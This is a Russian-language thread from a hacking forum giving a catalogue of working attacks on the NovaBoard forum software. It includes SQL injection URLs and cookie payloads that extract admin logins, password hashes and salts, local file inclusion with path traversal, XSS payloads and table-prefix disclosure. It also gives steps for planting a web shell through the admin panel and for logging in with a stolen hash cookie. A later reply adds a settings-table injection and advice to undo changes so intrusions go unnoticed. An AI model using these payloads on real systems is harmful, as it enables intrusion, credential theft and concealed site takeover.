ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей NovaBoard] (https://forum.antichat.xyz/showthread.php?t=168457)

RulleR 05.01.2010 17:20

[Обзор уязвимостей NovaBoard]
 
Обзор уязвимостей NovaBoard Forum

Official site: www.novaboard.net
Latest release: NovaBoard v1.1.2

------------------------------------------------------------------------------
Default table prefix: novaboard_
Table with users: members
Columns:
Код:

|id|name|usertitle|email|role|password|password_time|pass_salt|theme|board_lang|time_offset|read_all_posts|avatar|remote_avatar|signature|location|nationality|msn|aol|yahoo|skype|xbox|wii|ps3|last_online|warn_level|suspend_date|whiteboard|register_date|verified|user_posts|banned|new_pms|allow_admin_email|moderate|subscribe_pm|never_spam|
Алгоритм хэширования паролей:
Код:

// Generate salt...
$salt = substr(md5(uniqid(rand(), true)), 0, 9);
// Salt the password
$password= md5($password . $salt);

------------------------------------------------------------------------------

SQL injection

#1
Vuln file: /includes/pages/search.php
Код:

/*...*/
$forum=implode(",",$_GET['forums']);
$forum = htmlentities($forum);
$forum = escape_string($forum);
/*...*/
$sql989 = "SELECT MEMBER, TIME, TOPIC_ID, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) AS score FROM {$db_prefix}posts WHERE FORUM_ID IN($forum) AND TIME >= '$startdate' AND TIME <= '$enddate' AND MEMBER='$id' AND APPROVED='1' AND MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) ORDER BY score DESC";
}
/*...*/

Exploit:
Код:

http://[host]/[path]/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1)+union+select+null,null,null,5,concat_ws(0x3a,name,password,pass_salt),null,null,null,null+from+[prefix]members+where+id=1+--+
#2
Vuln file: /includes/forums/addreply.php
Код:

if ($_COOKIE['mqpid']!=''){

$array=array($_COOKIE['mqpid']);
$array = implode(",",$array);
$quote="";

$query217 = "select MEMBER, CONTENT, TOPIC_ID, ID  from {$db_prefix}posts WHERE ID IN($array) ORDER BY ID desc";
$result217 = mysql_query($query217) or die("addreply.php - Error in query: $query217") ;

Need: user account
Exploit:
Код:

GET http://[host]/[path]/index.php?func=addreply&topic=1 HTTP/1.0

Cookie: mqpid=1) union select null,concat_ws(0x3a,name,password,pass_salt),null,null from [prefix]members where id=1/*

#3
Vuln file: /includes/header.php
Код:

/*...*/
                if (isset($_GET['topic']) && ($_GET['page']!='search')){

                        $location_text="";

                        $query211 = "select CONTENT from {$db_prefix}posts WHERE TOPIC_ID='$topic' AND TITLE!=''";
                        $result211 = mysql_query($query211) or die("topic.php - Error in query: $query211");
/*...*/

Need: magic_quotes = OFF
Exploit:
Код:

http://[host]/[path]/index.php?page=list&forum=1&topic=xek'+union+select+concat_ws(0x3a,name,password,pass_salt)+from+[prefix]members+where+id=1+--+
Note: Вывод ищем в исходном коде страницы:
Код:

<meta name="description" content="{login:hash:salt}" />
Local File Inclusion

Vuln file: /includes/structure.php
Код:

/*...*/
                        $page        =        escape_string($_GET['page']);
/*...*/
                if (file_exists("themes/$theme/includes/pages/$page.php")){
                        include "themes/$theme/includes/pages/$page.php";
                }
                elseif (include("includes/pages/$page.php")){
                }
/*...*/

Exploit:
Код:

http://[host]/[path]/index.php?page=../../download
Note: null byte экранируется...


Active XSS
Exploit:
Код:

[img]javascript:alert(1)[/img]
Note: уязвимость в add reply


Passive XSS
Exploit:
Код:

http://[host]/[path]/index.php?page=search&search=xek&topic=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author_id=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&startdate=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&enddate=1"><script>alert(1)</script>

XSS in URI
Exploit:
Код:

http://[host]/[path]/index.php/"><script>alert(1)</script>
Disclosure of Table Prefix
Exploit:
Код:

http://[host]/[path]/index.php?topic=1&limit=x
Note: на это форум выдаст примерно такую ошибку:
Цитата:

topic.php - Error in query: select MEMBER, TIME, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, EDIT_REASON, TITLE, DESCRIPTION, STICKY, ANNOUNCE, REPORTED, APPROVED from novaboard_posts WHERE TOPIC_ID='1' AND APPROVED='1' ORDER BY TIME asc LIMIT -30, 30
------------------------------------------------------------------------------
Upload shell from Admin CP

Пакуем шелл winzip'ом
Далее переходим в Admin CP --> Board Settings --> Modules Settings
аплодим наш чудо-модуль..
Шелл будет находиться в /modules/[name_shell].php

Таким же способом можно залить через Themes Settings
шелл будет в папке themes
------------------------------------------------------------------------------
P.S. все найденные уязвимости тестировались на NovaBoard v1.1.2. Есть большая вероятность что эти уязвимости будут работать и на более ранних версиях.

(Dm) 05.01.2010 20:01

отлично.
от себя добавлю, вход в админку по хешу.
Создаем cookie:
Цитата:

nova_name - тут логин
nova_password - тут хеш пароля, полученный через скулю

RedX 29.03.2010 21:37

Вышла версия 1.1.3 SQL-Inj в поиске пофиксили точно!

The matrix 01.07.2010 02:41

RulleR подтолкнул меня вспомнить об этом топике на форуме

Двиг понравился, потестил, добавляю от себя 5 копеек.

Тестил на последней 1.1.4

Код:

http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI

---------------------------------

Need

Rg=on

mq=off

---------------------------------

structure.php

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]categories WHERE ID = '[/COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"structure.php - Error in query:[/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

}

else{

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}



if
(isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]// need register_globals

[/COLOR][COLOR="#007700"]........................................

if (isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

........................................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.........................................

[/
COLOR][/COLOR

Как юзать

Код:

http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off

Выложу только самую интересную.

verify.php

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members SET verified = '1' WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT ID, NAME FROM[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#DD0000"]"download.php - Error in query:[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ID'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'NAME'[/COLOR][COLOR="#007700"]];

}

[/
COLOR][COLOR="#FF8000"]// register_globals=on

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings SET stats_member_id='[/COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#DD0000"]', stats_member_name='[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', stats_members=stats_members+1"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR

инъект в Update

таблица settings хранит основные настройки форума, мы ее можем update

---------------------------

need

rg=on

mq=off

---------------------------

как юзать.

Если куки не очищены-> чистим

применить можно по разному

1. вывести данные админа

Код:

http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.

2. LFI через скуль

если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы

structure.php

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"Have you run install.php yet?"[/COLOR][COLOR="#007700"]) ;

[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

.......................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.......................

[/
COLOR][/COLOR

Код:

http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.

-----------------------------------------

можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить

Усе


Время: 05:36